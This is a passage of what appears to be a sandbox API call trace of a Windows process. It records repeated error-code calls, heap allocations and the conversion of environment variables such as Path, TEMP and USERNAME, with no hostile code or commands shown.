SetLastError (dwErrCode=0x0) [0043.987] GetLastError () returned 0x0 [0043.987] SetLastError (dwErrCode=0x0) [0043.987] GetLastError () returned 0x0 [0043.987] SetLastError (dwErrCode=0x0) [0043.987] GetLastError () returned 0x0 [0043.988] SetLastError (dwErrCode=0x0) [0043.988] GetLastError () returned 0x0 [0043.988] SetLastError (dwErrCode=0x0) [0043.988] GetLastError () returned 0x0 [0043.988] SetLastError (dwErrCode=0x0) [0043.988] GetLastError () returned 0x0 [0043.988] SetLastError (dwErrCode=0x0) [0043.988] GetLastError () returned 0x0 [0043.988] SetLastError (dwErrCode=0x0) [0043.988] GetLastError () returned 0x0 [0043.988] SetLastError (dwErrCode=0x0) [0043.988] GetLastError () returned 0x0 [0043.988] SetLastError (dwErrCode=0x0) [0043.988] GetLastError () returned 0x0 [0043.988] SetLastError (dwErrCode=0x0) [0043.988] GetLastError () returned 0x0 [0043.988] SetLastError (dwErrCode=0x0) [0043.988] GetLastError () returned 0x0 [0043.988] SetLastError (dwErrCode=0x0) [0043.988] GetLastError () returned 0x0 [0043.988] SetLastError (dwErrCode=0x0) [0043.988] GetLastError () returned 0x0 [0043.988] SetLastError (dwErrCode=0x0) [0043.988] GetLastError () returned 0x0 [0043.988] SetLastError (dwErrCode=0x0) [0043.988] GetLastError () returned 0x0 [0043.988] SetLastError (dwErrCode=0x0) [0043.988] GetLastError () returned 0x0 [0043.988] SetLastError (dwErrCode=0x0) [0043.988] GetLastError () returned 0x0 [0043.988] SetLastError (dwErrCode=0x0) [0043.988] GetLastError () returned 0x0 [0043.988] SetLastError (dwErrCode=0x0) [0043.989] GetLastError () returned 0x0 [0043.989] SetLastError (dwErrCode=0x0) [0043.989] GetLastError () returned 0x0 [0043.989] SetLastError (dwErrCode=0x0) [0043.989] GetLastError () returned 0x0 [0043.989] SetLastError (dwErrCode=0x0) [0043.989] GetLastError () returned 0x0 [0043.989] SetLastError (dwErrCode=0x0) [0043.989] GetLastError () returned 0x0 [0043.989] SetLastError (dwErrCode=0x0) [0043.989] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x3524658) returned 0x38 [0043.989] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524658, Size=0x3c) returned 0x35246b8 [0043.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0043.989] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x69) returned 0x3524700 [0043.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x3524700, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0043.989] GetLastError () returned 0x0 [0043.989] SetLastError (dwErrCode=0x0) [0043.989] GetLastError () returned 0x0 [0043.989] SetLastError (dwErrCode=0x0) [0043.989] GetLastError () returned 0x0 [0043.989] SetLastError (dwErrCode=0x0) [0043.989] GetLastError () returned 0x0 [0043.989] SetLastError (dwErrCode=0x0) [0043.989] GetLastError () returned 0x0 [0043.989] SetLastError (dwErrCode=0x0) [0043.989] GetLastError () returned 0x0 [0043.989] SetLastError (dwErrCode=0x0) [0043.989] GetLastError () returned 0x0 [0043.989] SetLastError (dwErrCode=0x0) [0043.989] GetLastError () returned 0x0 [0043.989] SetLastError (dwErrCode=0x0) [0043.989] GetLastError () returned 0x0 [0043.989] SetLastError (dwErrCode=0x0) [0043.989] GetLastError () returned 0x0 [0043.990] SetLastError (dwErrCode=0x0) [0043.990] GetLastError () returned 0x0 [0043.990] SetLastError (dwErrCode=0x0) [0043.990] GetLastError () returned 0x0 [0043.990] SetLastError (dwErrCode=0x0) [0043.990] GetLastError () returned 0x0 [0043.990] SetLastError (dwErrCode=0x0) [0043.990] GetLastError () returned 0x0 [0043.990] SetLastError (dwErrCode=0x0) [0043.990] GetLastError () returned 0x0 [0043.990] SetLastError (dwErrCode=0x0) [0043.990] GetLastError () returned 0x0 [0043.990] SetLastError (dwErrCode=0x0) [0043.990] GetLastError () returned 0x0 [0043.990] SetLastError (dwErrCode=0x0) [0043.990] GetLastError () returned 0x0 [0043.990] SetLastError (dwErrCode=0x0) [0043.990] GetLastError () returned 0x0 [0043.990] SetLastError (dwErrCode=0x0) [0043.990] GetLastError () returned 0x0 [0043.990] SetLastError (dwErrCode=0x0) [0043.990] GetLastError () returned 0x0 [0043.990] SetLastError (dwErrCode=0x0) [0043.990] GetLastError () returned 0x0 [0043.990] SetLastError (dwErrCode=0x0) [0043.990] GetLastError () returned 0x0 [0043.990] SetLastError (dwErrCode=0x0) [0043.990] GetLastError () returned 0x0 [0043.990] SetLastError (dwErrCode=0x0) [0043.990] GetLastError () returned 0x0 [0043.991] SetLastError (dwErrCode=0x0) [0043.991] GetLastError () returned 0x0 [0043.991] SetLastError (dwErrCode=0x0) [0043.991] GetLastError () returned 0x0 [0043.991] SetLastError (dwErrCode=0x0) [0043.991] GetLastError () returned 0x0 [0043.991] SetLastError (dwErrCode=0x0) [0043.991] GetLastError () returned 0x0 [0043.991] SetLastError (dwErrCode=0x0) [0043.991] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x35246b8) returned 0x3c [0043.991] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x35246b8, Size=0x40) returned 0x35246b8 [0043.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0043.991] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x3e) returned 0x35188b8 [0043.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x35188b8, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0043.991] GetLastError () returned 0x0 [0043.991] SetLastError (dwErrCode=0x0) [0043.991] GetLastError () returned 0x0 [0043.991] SetLastError (dwErrCode=0x0) [0043.991] GetLastError () returned 0x0 [0043.991] SetLastError (dwErrCode=0x0) [0043.991] GetLastError () returned 0x0 [0043.991] SetLastError (dwErrCode=0x0) [0043.991] GetLastError () returned 0x0 [0043.991] SetLastError (dwErrCode=0x0) [0043.991] GetLastError () returned 0x0 [0043.991] SetLastError (dwErrCode=0x0) [0043.991] GetLastError () returned 0x0 [0043.991] SetLastError (dwErrCode=0x0) [0043.991] GetLastError () returned 0x0 [0043.991] SetLastError (dwErrCode=0x0) [0043.991] GetLastError () returned 0x0 [0043.991] SetLastError (dwErrCode=0x0) [0043.991] GetLastError () returned 0x0 [0043.992] SetLastError (dwErrCode=0x0) [0043.992] GetLastError () returned 0x0 [0043.992] SetLastError (dwErrCode=0x0) [0043.992] GetLastError () returned 0x0 [0043.992] SetLastError (dwErrCode=0x0) [0043.992] GetLastError () returned 0x0 [0043.992] SetLastError (dwErrCode=0x0) [0043.992] GetLastError () returned 0x0 [0043.992] SetLastError (dwErrCode=0x0) [0043.992] GetLastError () returned 0x0 [0043.992] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x35246b8, Size=0x44) returned 0x3524778 [0043.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.992] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x1b) returned 0x3522438 [0043.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x3522438, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0043.992] GetLastError () returned 0x0 [0043.992] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524778, Size=0x48) returned 0x3524778 [0043.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0043.992] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x1d) returned 0x3522460 [0043.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x3522460, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0043.992] GetLastError () returned 0x0 [0043.992] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524778, Size=0x4c) returned 0x3524778 [0043.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0043.992] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x48) returned 0x351a740 [0043.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x351a740, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0043.992] GetLastError () returned 0x0 [0043.992] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524778, Size=0x50) returned 0x3524778 [0043.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0043.992] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x12) returned 0x3524658 [0043.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x3524658, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0043.992] GetLastError () returned 0x0 [0043.992] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524778, Size=0x54) returned 0x3524778 [0043.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0043.992] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x18) returned 0x3524678 [0043.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x3524678, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0043.993] GetLastError () returned 0x0 [0043.993] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524778, Size=0x58) returned 0x3524778 [0043.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.993] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x1b) returned 0x3522488 [0043.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x3522488, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0043.993] GetLastError () returned 0x0 [0043.993] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524778, Size=0x5c) returned 0x3524778 [0043.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0043.993] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x24) returned 0x351e380 [0043.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x351e380, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0043.993] GetLastError () returned 0x0 [0043.993] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524778, Size=0x60) returned 0x3524778 [0043.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0043.993] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x29) returned 0x351eb60 [0043.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x351eb60, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0043.993] GetLastError () returned 0x0 [0043.993] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524778, Size=0x64) returned 0x3524778 [0043.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0043.993] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x1e) returned 0x35224b0 [0043.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x35224b0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0043.993] GetLastError () returned 0x0 [0043.993] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524778, Size=0x68) returned 0x3524778 [0043.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0043.993] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x41) returned 0x351a790 [0043.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x351a790, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0043.993] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524778, Size=0x6c) returned 0x3524778 [0043.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0043.993] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x17) returned 0x35246b8 [0043.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x35246b8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0043.993] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524778, Size=0x70) returned 0x3524778 [0043.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.993] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0xf) returned 0x3521ed8 [0043.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x3521ed8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0043.994] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524778, Size=0x74) returned 0x3524778 [0043.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0043.994] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x16) returned 0x35246d8 [0043.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x35246d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0043.994] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524778, Size=0x78) returned 0x3524778 [0043.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0043.994] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x2a) returned 0x351eb98 [0043.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x351eb98, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0043.994] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524778, Size=0x7c) returned 0x3524778 [0043.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0043.994] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x29) returned 0x351ebd0 [0043.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x351ebd0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0043.994] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524778, Size=0x80) returned 0x3524778 [0043.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0043.994] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x15) returned 0x3524800 [0043.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x3524800, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0043.994] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524778, Size=0x84) returned 0x3524820 [0043.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0043.994] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x1e) returned 0x35224d8 [0043.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x35224d8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0043.994] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524820, Size=0x88) returned 0x3524820 [0043.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0043.994] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x2a) returned 0x351ec08 [0043.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x351ec08, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0043.994] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524820, Size=0x8c) returned 0x3524820 [0043.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0043.994] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x12) returned 0x3524778 [0043.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x3524778, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0043.994] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524820, Size=0x90) returned 0x3524820 [0043.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0043.995] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x18) returned 0x3526000 [0043.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x3526000, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0043.995] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524820, Size=0x94) returned 0x3524820 [0043.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0043.995] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x46) returned 0x351a7e0 [0043.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x351a7e0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0043.995] RtlReAllocateHeap (Heap=0x3500000, Flags=0x0, Ptr=0x3524820, Size=0x98) returned 0x3524820 [0043.995] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x35242a8) returned 0x80 [0043.995] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x35242a8) returned 0x80 [0043.995] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x35242a8) returned 0x80 [0043.996] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x8ec) returned 0x35267e8 [0043.996] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x35242a8) returned 0x80 [0043.996] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x10) returned 0x3521ef0 [0043.996] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, 